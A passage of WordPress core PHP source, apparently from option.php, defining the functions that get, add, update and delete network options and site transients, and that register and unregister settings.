 * @since 4.4.0 Modified into wrapper for delete_network_option()
 *
 * @see delete_network_option()
 *
 * @param string $option Name of the option to delete. Expected to not be SQL-escaped.
 * @return bool True if the option was deleted, false otherwise.
 */
function delete_site_option( $option ) {
	return delete_network_option( null, $option );
}

/**
 * Updates the value of an option that was already added for the current network.
 *
 * @since 2.8.0
 * @since 4.4.0 Modified into wrapper for update_network_option()
 *
 * @see update_network_option()
 *
 * @param string $option Name of the option. Expected to not be SQL-escaped.
 * @param mixed  $value  Option value. Expected to not be SQL-escaped.
 * @return bool True if the value was updated, false otherwise.
 */
function update_site_option( $option, $value ) {
	return update_network_option( null, $option, $value );
}

/**
 * Retrieves a network's option value based on the option name.
 *
 * @since 4.4.0
 *
 * @see get_option()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $network_id    ID of the network. Can be null to default to the current network ID.
 * @param string $option        Name of the option to retrieve. Expected to not be SQL-escaped.
 * @param mixed  $default_value Optional. Value to return if the option doesn't exist. Default false.
 * @return mixed Value set for the option.
 */
function get_network_option( $network_id, $option, $default_value = false ) {
	global $wpdb;

	if ( $network_id && ! is_numeric( $network_id ) ) {
		return false;
	}

	$network_id = (int) $network_id;

	// Fallback to the current network if a network ID is not specified.
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	/**
	 * Filters the value of an existing network option before it is retrieved.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * Returning a value other than false from the filter will short-circuit retrieval
	 * and return that value instead.
	 *
	 * @since 2.9.0 As 'pre_site_option_' . $key
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 * @since 4.9.0 The `$default_value` parameter was added.
	 *
	 * @param mixed  $pre_option    The value to return instead of the option value. This differs from
	 *                              `$default_value`, which is used as the fallback value in the event
	 *                              the option doesn't exist elsewhere in get_network_option().
	 *                              Default false (to skip past the short-circuit).
	 * @param string $option        Option name.
	 * @param int    $network_id    ID of the network.
	 * @param mixed  $default_value The fallback value to return if the option does not exist.
	 *                              Default false.
	 */
	$pre = apply_filters( "pre_site_option_{$option}", false, $option, $network_id, $default_value );

	if ( false !== $pre ) {
		return $pre;
	}

	// Prevent non-existent options from triggering multiple queries.
	$notoptions_key = "$network_id:notoptions";
	$notoptions     = wp_cache_get( $notoptions_key, 'site-options' );

	if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {

		/**
		 * Filters the value of a specific default network option.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 3.4.0
		 * @since 4.4.0 The `$option` parameter was added.
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param mixed  $default_value The value to return if the site option does not exist
		 *                              in the database.
		 * @param string $option        Option name.
		 * @param int    $network_id    ID of the network.
		 */
		return apply_filters( "default_site_option_{$option}", $default_value, $option, $network_id );
	}

	if ( ! is_multisite() ) {
		/** This filter is documented in wp-includes/option.php */
		$default_value = apply_filters( 'default_site_option_' . $option, $default_value, $option, $network_id );
		$value         = get_option( $option, $default_value );
	} else {
		$cache_key = "$network_id:$option";
		$value     = wp_cache_get( $cache_key, 'site-options' );

		if ( ! isset( $value ) || false === $value ) {
			$row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_value FROM $wpdb->sitemeta WHERE meta_key = %s AND site_id = %d", $option, $network_id ) );

			// Has to be get_row() instead of get_var() because of funkiness with 0, false, null values.
			if ( is_object( $row ) ) {
				$value = $row->meta_value;
				$value = maybe_unserialize( $value );
				wp_cache_set( $cache_key, $value, 'site-options' );
			} else {
				if ( ! is_array( $notoptions ) ) {
					$notoptions = array();
				}

				$notoptions[ $option ] = true;
				wp_cache_set( $notoptions_key, $notoptions, 'site-options' );

				/** This filter is documented in wp-includes/option.php */
				$value = apply_filters( 'default_site_option_' . $option, $default_value, $option, $network_id );
			}
		}
	}

	if ( ! is_array( $notoptions ) ) {
		$notoptions = array();
		wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
	}

	/**
	 * Filters the value of an existing network option.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.9.0 As 'site_option_' . $key
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 *
	 * @param mixed  $value      Value of network option.
	 * @param string $option     Option name.
	 * @param int    $network_id ID of the network.
	 */
	return apply_filters( "site_option_{$option}", $value, $option, $network_id );
}

/**
 * Adds a new network option.
 *
 * Existing options will not be updated.
 *
 * @since 4.4.0
 *
 * @see add_option()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $network_id ID of the network. Can be null to default to the current network ID.
 * @param string $option     Name of the option to add. Expected to not be SQL-escaped.
 * @param mixed  $value      Option value, can be anything. Expected to not be SQL-escaped.
 * @return bool True if the option was added, false otherwise.
 */
function add_network_option( $network_id, $option, $value ) {
	global $wpdb;

	if ( $network_id && ! is_numeric( $network_id ) ) {
		return false;
	}

	$network_id = (int) $network_id;

	// Fallback to the current network if a network ID is not specified.
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	wp_protect_special_option( $option );

	/**
	 * Filters the value of a specific network option before it is added.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.9.0 As 'pre_add_site_option_' . $key
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 *
	 * @param mixed  $value      Value of network option.
	 * @param string $option     Option name.
	 * @param int    $network_id ID of the network.
	 */
	$value = apply_filters( "pre_add_site_option_{$option}", $value, $option, $network_id );

	$notoptions_key = "$network_id:notoptions";

	if ( ! is_multisite() ) {
		$result = add_option( $option, $value, '', 'no' );
	} else {
		$cache_key = "$network_id:$option";

		// Make sure the option doesn't already exist.
		// We can check the 'notoptions' cache before we ask for a DB query.
		$notoptions = wp_cache_get( $notoptions_key, 'site-options' );

		if ( ! is_array( $notoptions ) || ! isset( $notoptions[ $option ] ) ) {
			if ( false !== get_network_option( $network_id, $option, false ) ) {
				return false;
			}
		}

		$value = sanitize_option( $option, $value );

		$serialized_value = maybe_serialize( $value );
		$result           = $wpdb->insert(
			$wpdb->sitemeta,
			array(
				'site_id'    => $network_id,
				'meta_key'   => $option,
				'meta_value' => $serialized_value,
			)
		);

		if ( ! $result ) {
			return false;
		}

		wp_cache_set( $cache_key, $value, 'site-options' );

		// This option exists now.
		$notoptions = wp_cache_get( $notoptions_key, 'site-options' ); // Yes, again... we need it to be fresh.

		if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
			unset( $notoptions[ $option ] );
			wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
		}
	}

	if ( $result ) {

		/**
		 * Fires after a specific network option has been successfully added.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 2.9.0 As "add_site_option_{$key}"
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param mixed  $value      Value of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( "add_site_option_{$option}", $option, $value, $network_id );

		/**
		 * Fires after a network option has been successfully added.
		 *
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param mixed  $value      Value of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( 'add_site_option', $option, $value, $network_id );

		return true;
	}

	return false;
}

/**
 * Removes a network option by name.
 *
 * @since 4.4.0
 *
 * @see delete_option()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $network_id ID of the network. Can be null to default to the current network ID.
 * @param string $option     Name of the option to delete. Expected to not be SQL-escaped.
 * @return bool True if the option was deleted, false otherwise.
 */
function delete_network_option( $network_id, $option ) {
	global $wpdb;

	if ( $network_id && ! is_numeric( $network_id ) ) {
		return false;
	}

	$network_id = (int) $network_id;

	// Fallback to the current network if a network ID is not specified.
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	/**
	 * Fires immediately before a specific network option is deleted.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 *
	 * @param string $option     Option name.
	 * @param int    $network_id ID of the network.
	 */
	do_action( "pre_delete_site_option_{$option}", $option, $network_id );

	if ( ! is_multisite() ) {
		$result = delete_option( $option );
	} else {
		$row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM {$wpdb->sitemeta} WHERE meta_key = %s AND site_id = %d", $option, $network_id ) );
		if ( is_null( $row ) || ! $row->meta_id ) {
			return false;
		}
		$cache_key = "$network_id:$option";
		wp_cache_delete( $cache_key, 'site-options' );

		$result = $wpdb->delete(
			$wpdb->sitemeta,
			array(
				'meta_key' => $option,
				'site_id'  => $network_id,
			)
		);
	}

	if ( $result ) {

		/**
		 * Fires after a specific network option has been deleted.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 2.9.0 As "delete_site_option_{$key}"
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( "delete_site_option_{$option}", $option, $network_id );

		/**
		 * Fires after a network option has been deleted.
		 *
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( 'delete_site_option', $option, $network_id );

		return true;
	}

	return false;
}

/**
 * Updates the value of a network option that was already added.
 *
 * @since 4.4.0
 *
 * @see update_option()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $network_id ID of the network. Can be null to default to the current network ID.
 * @param string $option     Name of the option. Expected to not be SQL-escaped.
 * @param mixed  $value      Option value. Expected to not be SQL-escaped.
 * @return bool True if the value was updated, false otherwise.
 */
function update_network_option( $network_id, $option, $value ) {
	global $wpdb;

	if ( $network_id && ! is_numeric( $network_id ) ) {
		return false;
	}

	$network_id = (int) $network_id;

	// Fallback to the current network if a network ID is not specified.
	if ( ! $network_id ) {
		$network_id = get_current_network_id();
	}

	wp_protect_special_option( $option );

	$old_value = get_network_option( $network_id, $option, false );

	/**
	 * Filters a specific network option before its value is updated.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.9.0 As 'pre_update_site_option_' . $key
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 * @since 4.7.0 The `$network_id` parameter was added.
	 *
	 * @param mixed  $value      New value of the network option.
	 * @param mixed  $old_value  Old value of the network option.
	 * @param string $option     Option name.
	 * @param int    $network_id ID of the network.
	 */
	$value = apply_filters( "pre_update_site_option_{$option}", $value, $old_value, $option, $network_id );

	/*
	 * If the new and old values are the same, no need to update.
	 *
	 * Unserialized values will be adequate in most cases. If the unserialized
	 * data differs, the (maybe) serialized data is checked to avoid
	 * unnecessary database calls for otherwise identical object instances.
	 *
	 * See https://core.trac.wordpress.org/ticket/44956
	 */
	if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) {
		return false;
	}

	if ( false === $old_value ) {
		return add_network_option( $network_id, $option, $value );
	}

	$notoptions_key = "$network_id:notoptions";
	$notoptions     = wp_cache_get( $notoptions_key, 'site-options' );

	if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
		unset( $notoptions[ $option ] );
		wp_cache_set( $notoptions_key, $notoptions, 'site-options' );
	}

	if ( ! is_multisite() ) {
		$result = update_option( $option, $value, 'no' );
	} else {
		$value = sanitize_option( $option, $value );

		$serialized_value = maybe_serialize( $value );
		$result           = $wpdb->update(
			$wpdb->sitemeta,
			array( 'meta_value' => $serialized_value ),
			array(
				'site_id'  => $network_id,
				'meta_key' => $option,
			)
		);

		if ( $result ) {
			$cache_key = "$network_id:$option";
			wp_cache_set( $cache_key, $value, 'site-options' );
		}
	}

	if ( $result ) {

		/**
		 * Fires after the value of a specific network option has been successfully updated.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 2.9.0 As "update_site_option_{$key}"
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param mixed  $value      Current value of the network option.
		 * @param mixed  $old_value  Old value of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( "update_site_option_{$option}", $option, $value, $old_value, $network_id );

		/**
		 * Fires after the value of a network option has been successfully updated.
		 *
		 * @since 3.0.0
		 * @since 4.7.0 The `$network_id` parameter was added.
		 *
		 * @param string $option     Name of the network option.
		 * @param mixed  $value      Current value of the network option.
		 * @param mixed  $old_value  Old value of the network option.
		 * @param int    $network_id ID of the network.
		 */
		do_action( 'update_site_option', $option, $value, $old_value, $network_id );

		return true;
	}

	return false;
}

/**
 * Deletes a site transient.
 *
 * @since 2.9.0
 *
 * @param string $transient Transient name. Expected to not be SQL-escaped.
 * @return bool True if the transient was deleted, false otherwise.
 */
function delete_site_transient( $transient ) {

	/**
	 * Fires immediately before a specific site transient is deleted.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 3.0.0
	 *
	 * @param string $transient Transient name.
	 */
	do_action( "delete_site_transient_{$transient}", $transient );

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$result = wp_cache_delete( $transient, 'site-transient' );
	} else {
		$option_timeout = '_site_transient_timeout_' . $transient;
		$option         = '_site_transient_' . $transient;
		$result         = delete_site_option( $option );

		if ( $result ) {
			delete_site_option( $option_timeout );
		}
	}

	if ( $result ) {

		/**
		 * Fires after a transient is deleted.
		 *
		 * @since 3.0.0
		 *
		 * @param string $transient Deleted transient name.
		 */
		do_action( 'deleted_site_transient', $transient );
	}

	return $result;
}

/**
 * Retrieves the value of a site transient.
 *
 * If the transient does not exist, does not have a value, or has expired,
 * then the return value will be false.
 *
 * @since 2.9.0
 *
 * @see get_transient()
 *
 * @param string $transient Transient name. Expected to not be SQL-escaped.
 * @return mixed Value of transient.
 */
function get_site_transient( $transient ) {

	/**
	 * Filters the value of an existing site transient before it is retrieved.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * Returning a value other than boolean false will short-circuit retrieval and
	 * return that value instead.
	 *
	 * @since 2.9.0
	 * @since 4.4.0 The `$transient` parameter was added.
	 *
	 * @param mixed  $pre_site_transient The default value to return if the site transient does not exist.
	 *                                   Any value other than false will short-circuit the retrieval
	 *                                   of the transient, and return that value.
	 * @param string $transient          Transient name.
	 */
	$pre = apply_filters( "pre_site_transient_{$transient}", false, $transient );

	if ( false !== $pre ) {
		return $pre;
	}

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$value = wp_cache_get( $transient, 'site-transient' );
	} else {
		// Core transients that do not have a timeout. Listed here so querying timeouts can be avoided.
		$no_timeout       = array( 'update_core', 'update_plugins', 'update_themes' );
		$transient_option = '_site_transient_' . $transient;
		if ( ! in_array( $transient, $no_timeout, true ) ) {
			$transient_timeout = '_site_transient_timeout_' . $transient;
			$timeout           = get_site_option( $transient_timeout );
			if ( false !== $timeout && $timeout < time() ) {
				delete_site_option( $transient_option );
				delete_site_option( $transient_timeout );
				$value = false;
			}
		}

		if ( ! isset( $value ) ) {
			$value = get_site_option( $transient_option );
		}
	}

	/**
	 * Filters the value of an existing site transient.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 2.9.0
	 * @since 4.4.0 The `$transient` parameter was added.
	 *
	 * @param mixed  $value     Value of site transient.
	 * @param string $transient Transient name.
	 */
	return apply_filters( "site_transient_{$transient}", $value, $transient );
}

/**
 * Sets/updates the value of a site transient.
 *
 * You do not need to serialize values. If the value needs to be serialized,
 * then it will be serialized before it is set.
 *
 * @since 2.9.0
 *
 * @see set_transient()
 *
 * @param string $transient  Transient name. Expected to not be SQL-escaped. Must be
 *                           167 characters or fewer in length.
 * @param mixed  $value      Transient value. Expected to not be SQL-escaped.
 * @param int    $expiration Optional. Time until expiration in seconds. Default 0 (no expiration).
 * @return bool True if the value was set, false otherwise.
 */
function set_site_transient( $transient, $value, $expiration = 0 ) {

	/**
	 * Filters the value of a specific site transient before it is set.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 The `$transient` parameter was added.
	 *
	 * @param mixed  $value     New value of site transient.
	 * @param string $transient Transient name.
	 */
	$value = apply_filters( "pre_set_site_transient_{$transient}", $value, $transient );

	$expiration = (int) $expiration;

	/**
	 * Filters the expiration for a site transient before its value is set.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 4.4.0
	 *
	 * @param int    $expiration Time until expiration in seconds. Use 0 for no expiration.
	 * @param mixed  $value      New value of site transient.
	 * @param string $transient  Transient name.
	 */
	$expiration = apply_filters( "expiration_of_site_transient_{$transient}", $expiration, $value, $transient );

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$result = wp_cache_set( $transient, $value, 'site-transient', $expiration );
	} else {
		$transient_timeout = '_site_transient_timeout_' . $transient;
		$option            = '_site_transient_' . $transient;

		if ( false === get_site_option( $option ) ) {
			if ( $expiration ) {
				add_site_option( $transient_timeout, time() + $expiration );
			}
			$result = add_site_option( $option, $value );
		} else {
			if ( $expiration ) {
				update_site_option( $transient_timeout, time() + $expiration );
			}
			$result = update_site_option( $option, $value );
		}
	}

	if ( $result ) {

		/**
		 * Fires after the value for a specific site transient has been set.
		 *
		 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
		 *
		 * @since 3.0.0
		 * @since 4.4.0 The `$transient` parameter was added
		 *
		 * @param mixed  $value      Site transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 * @param string $transient  Transient name.
		 */
		do_action( "set_site_transient_{$transient}", $value, $expiration, $transient );

		/**
		 * Fires after the value for a site transient has been set.
		 *
		 * @since 3.0.0
		 *
		 * @param string $transient  The name of the site transient.
		 * @param mixed  $value      Site transient value.
		 * @param int    $expiration Time until expiration in seconds.
		 */
		do_action( 'setted_site_transient', $transient, $value, $expiration );
	}

	return $result;
}

/**
 * Registers default settings available in WordPress.
 *
 * The settings registered here are primarily useful for the REST API, so this
 * does not encompass all settings available in WordPress.
 *
 * @since 4.7.0
 * @since 6.0.1 The `show_on_front`, `page_on_front`, and `page_for_posts` options were added.
 */
function register_initial_settings() {
	register_setting(
		'general',
		'blogname',
		array(
			'show_in_rest' => array(
				'name' => 'title',
			),
			'type'         => 'string',
			'description'  => __( 'Site title.' ),
		)
	);

	register_setting(
		'general',
		'blogdescription',
		array(
			'show_in_rest' => array(
				'name' => 'description',
			),
			'type'         => 'string',
			'description'  => __( 'Site tagline.' ),
		)
	);

	if ( ! is_multisite() ) {
		register_setting(
			'general',
			'siteurl',
			array(
				'show_in_rest' => array(
					'name'   => 'url',
					'schema' => array(
						'format' => 'uri',
					),
				),
				'type'         => 'string',
				'description'  => __( 'Site URL.' ),
			)
		);
	}

	if ( ! is_multisite() ) {
		register_setting(
			'general',
			'admin_email',
			array(
				'show_in_rest' => array(
					'name'   => 'email',
					'schema' => array(
						'format' => 'email',
					),
				),
				'type'         => 'string',
				'description'  => __( 'This address is used for admin purposes, like new user notification.' ),
			)
		);
	}

	register_setting(
		'general',
		'timezone_string',
		array(
			'show_in_rest' => array(
				'name' => 'timezone',
			),
			'type'         => 'string',
			'description'  => __( 'A city in the same timezone as you.' ),
		)
	);

	register_setting(
		'general',
		'date_format',
		array(
			'show_in_rest' => true,
			'type'         => 'string',
			'description'  => __( 'A date format for all date strings.' ),
		)
	);

	register_setting(
		'general',
		'time_format',
		array(
			'show_in_rest' => true,
			'type'         => 'string',
			'description'  => __( 'A time format for all time strings.' ),
		)
	);

	register_setting(
		'general',
		'start_of_week',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'A day number of the week that the week should start on.' ),
		)
	);

	register_setting(
		'general',
		'WPLANG',
		array(
			'show_in_rest' => array(
				'name' => 'language',
			),
			'type'         => 'string',
			'description'  => __( 'WordPress locale code.' ),
			'default'      => 'en_US',
		)
	);

	register_setting(
		'writing',
		'use_smilies',
		array(
			'show_in_rest' => true,
			'type'         => 'boolean',
			'description'  => __( 'Convert emoticons like :-) and :-P to graphics on display.' ),
			'default'      => true,
		)
	);

	register_setting(
		'writing',
		'default_category',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'Default post category.' ),
		)
	);

	register_setting(
		'writing',
		'default_post_format',
		array(
			'show_in_rest' => true,
			'type'         => 'string',
			'description'  => __( 'Default post format.' ),
		)
	);

	register_setting(
		'reading',
		'posts_per_page',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'Blog pages show at most.' ),
			'default'      => 10,
		)
	);

	register_setting(
		'reading',
		'show_on_front',
		array(
			'show_in_rest' => true,
			'type'         => 'string',
			'description'  => __( 'What to show on the front page' ),
		)
	);

	register_setting(
		'reading',
		'page_on_front',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'The ID of the page that should be displayed on the front page' ),
		)
	);

	register_setting(
		'reading',
		'page_for_posts',
		array(
			'show_in_rest' => true,
			'type'         => 'integer',
			'description'  => __( 'The ID of the page that should display the latest posts' ),
		)
	);

	register_setting(
		'discussion',
		'default_ping_status',
		array(
			'show_in_rest' => array(
				'schema' => array(
					'enum' => array( 'open', 'closed' ),
				),
			),
			'type'         => 'string',
			'description'  => __( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new articles.' ),
		)
	);

	register_setting(
		'discussion',
		'default_comment_status',
		array(
			'show_in_rest' => array(
				'schema' => array(
					'enum' => array( 'open', 'closed' ),
				),
			),
			'type'         => 'string',
			'description'  => __( 'Allow people to submit comments on new posts.' ),
		)
	);
}

/**
 * Registers a setting and its data.
 *
 * @since 2.7.0
 * @since 3.0.0 The `misc` option group was deprecated.
 * @since 3.5.0 The `privacy` option group was deprecated.
 * @since 4.7.0 `$args` can be passed to set flags on the setting, similar to `register_meta()`.
 * @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`.
 *              Please consider writing more inclusive code.
 *
 * @global array $new_allowed_options
 * @global array $wp_registered_settings
 *
 * @param string $option_group A settings group name. Should correspond to an allowed option key name.
 *                             Default allowed option key names include 'general', 'discussion', 'media',
 *                             'reading', 'writing', and 'options'.
 * @param string $option_name The name of an option to sanitize and save.
 * @param array  $args {
 *     Data used to describe the setting when registered.
 *
 *     @type string     $type              The type of data associated with this setting.
 *                                         Valid values are 'string', 'boolean', 'integer', 'number', 'array', and 'object'.
 *     @type string     $description       A description of the data attached to this setting.
 *     @type callable   $sanitize_callback A callback function that sanitizes the option's value.
 *     @type bool|array $show_in_rest      Whether data associated with this setting should be included in the REST API.
 *                                         When registering complex settings, this argument may optionally be an
 *                                         array with a 'schema' key.
 *     @type mixed      $default           Default value when calling `get_option()`.
 * }
 */
function register_setting( $option_group, $option_name, $args = array() ) {
	global $new_allowed_options, $wp_registered_settings;

	/*
	 * In 5.5.0, the `$new_whitelist_options` global variable was renamed to `$new_allowed_options`.
	 * Please consider writing more inclusive code.
	 */
	$GLOBALS['new_whitelist_options'] = &$new_allowed_options;

	$defaults = array(
		'type'              => 'string',
		'group'             => $option_group,
		'description'       => '',
		'sanitize_callback' => null,
		'show_in_rest'      => false,
	);

	// Back-compat: old sanitize callback is added.
	if ( is_callable( $args ) ) {
		$args = array(
			'sanitize_callback' => $args,
		);
	}

	/**
	 * Filters the registration arguments when registering a setting.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $args         Array of setting registration arguments.
	 * @param array  $defaults     Array of default arguments.
	 * @param string $option_group Setting group.
	 * @param string $option_name  Setting name.
	 */
	$args = apply_filters( 'register_setting_args', $args, $defaults, $option_group, $option_name );

	$args = wp_parse_args( $args, $defaults );

	// Require an item schema when registering settings with an array type.
	if ( false !== $args['show_in_rest'] && 'array' === $args['type'] && ( ! is_array( $args['show_in_rest'] ) || ! isset( $args['show_in_rest']['schema']['items'] ) ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'When registering an "array" setting to show in the REST API, you must specify the schema for each array item in "show_in_rest.schema.items".' ), '5.4.0' );
	}

	if ( ! is_array( $wp_registered_settings ) ) {
		$wp_registered_settings = array();
	}

	if ( 'misc' === $option_group ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			sprintf(
				/* translators: %s: misc */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'misc'
			)
		);
		$option_group = 'general';
	}

	if ( 'privacy' === $option_group ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.5.0',
			sprintf(
				/* translators: %s: privacy */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'privacy'
			)
		);
		$option_group = 'reading';
	}

	$new_allowed_options[ $option_group ][] = $option_name;

	if ( ! empty( $args['sanitize_callback'] ) ) {
		add_filter( "sanitize_option_{$option_name}", $args['sanitize_callback'] );
	}
	if ( array_key_exists( 'default', $args ) ) {
		add_filter( "default_option_{$option_name}", 'filter_default_option', 10, 3 );
	}

	/**
	 * Fires immediately before the setting is registered but after its filters are in place.
	 *
	 * @since 5.5.0
	 *
	 * @param string $option_group Setting group.
	 * @param string $option_name  Setting name.
	 * @param array  $args         Array of setting registration arguments.
	 */
	do_action( 'register_setting', $option_group, $option_name, $args );

	$wp_registered_settings[ $option_name ] = $args;
}

/**
 * Unregisters a setting.
 *
 * @since 2.7.0
 * @since 4.7.0 `$sanitize_callback` was deprecated. The callback from `register_setting()` is now used instead.
 * @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`.
 *              Please consider writing more inclusive code.
 *
 * @global array $new_allowed_options
 * @global array $wp_registered_settings
 *
 * @param string   $option_group The settings group name used during registration.
 * @param string   $option_name  The name of the option to unregister.
 * @param callable $deprecated   Optional. Deprecated.
 */
function unregister_setting( $option_group, $option_name, $deprecated = '' ) {
	global $new_allowed_options, $wp_registered_settings;

	/*
	 * In 5.5.0, the `$new_whitelist_options` global variable was renamed to `$new_allowed_options`.
	 * Please consider writing more inclusive code.
	 */
	$GLOBALS['new_whitelist_options'] = &$new_allowed_options;

	if ( 'misc' === $option_group ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.0.0',
			sprintf(
				/* translators: %s: misc */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'misc'
			)
		);
		$option_group = 'general';
	}

	if ( 'privacy' === $option_group ) {
		_deprecated_argument(
			__FUNCTION__,
			'3.5.0',
			sprintf(
				/* translators: %s: privacy */
				__( 'The "%s" options group has been removed. Use another settings group.' ),
				'privacy'
			)
		);
		$option_group = 'reading';
	}

	$pos = array_search( $option_name, (array) $new_allowed_options[ $option_group ], true );

	if ( false !== $pos ) {
		unset( $new_allowed_options[ $option_group ][ $pos ] );
	}

	if ( '' !== $deprecated ) {
		_deprecated_argument(
			__FUNCTION__,
			'4.7.0',
			sprintf(
				/* translators: 1: $sanitize_callback, 2: register_setting() */
				__( '%1$s is deprecated. The callback from %2$s is used instead.' ),
				'<code>$sanitize_callback</code>',
				'<code>register_setting()</code>'
			)
		);
		remove_filter( "sanitize_option_{$option_name}", $deprecated );
	}

	if ( isset( $wp_registered_settings[ $option_name ] ) ) {
		// Remove the sanitize callback if one was set during registration.
		if ( ! empty( $wp_registered_settings[ $option_name ]['sanitize_callback'] ) ) {
			remove_filter( "sanitize_option_{$option_name}", $wp_registered_settings[ $option_name ]['sanitize_callback'] );
		}

		// Remove the default filter if a default was provided during registration.
		if ( array_key_exists( 'default', $wp_registered_settings[ $option_name ] ) ) {
			remove_filter( "default_option_{$option_name}", 'filter_default_option', 10 );
		}

		/**
		 * Fires immediately before the setting is unregistered and after its filters have been removed.
		 *
		 * @since 5.5.0
		 *
		 * @param string $option_group Setting group.
		 * @param string $option_name  Setting name.
		 */
		do_action( 'unregister_setting', $option_group, $option_name );

		unset( $wp_registered_settings[ $option_name ] );
	}
}

/**
 * Retrieves an array of registered settings.
 *
 * @since 4.7.0
 *
 * @global array $wp_registered_settings
 *
 * @return array List of registered settings, keyed by option name.
 */
function get_registered_settings() {
	global $wp_registered_settings;

	if ( ! is_array( $wp_registered_settings ) ) {
		return array();
	}

	return $wp_registered_settings;
}

/**
 * Filters the default value for the option.
 *
 * For settings which register a default setting in `register_setting()`, this
 * function is added as a filter to `default_option_{$option}`.
 *
 * @since 4.7.0
 *
 * @param mixed  $default_value  Existing default value to return.
 * @param string $option         Option name.
 * @param bool   $passed_default Was `get_option()` passed a default value?
 * @return mixed Filtered default value.
 */
function filter_default_option( $default_value, $option, $passed_default ) {
	if ( $passed_default ) {
		return $default_value;
	}

	$registered = get_registered_settings();
	if ( empty( $registered[ $option ] ) ) {
		return $default_value;
	}

	return $registered[ $option ]['default'];
}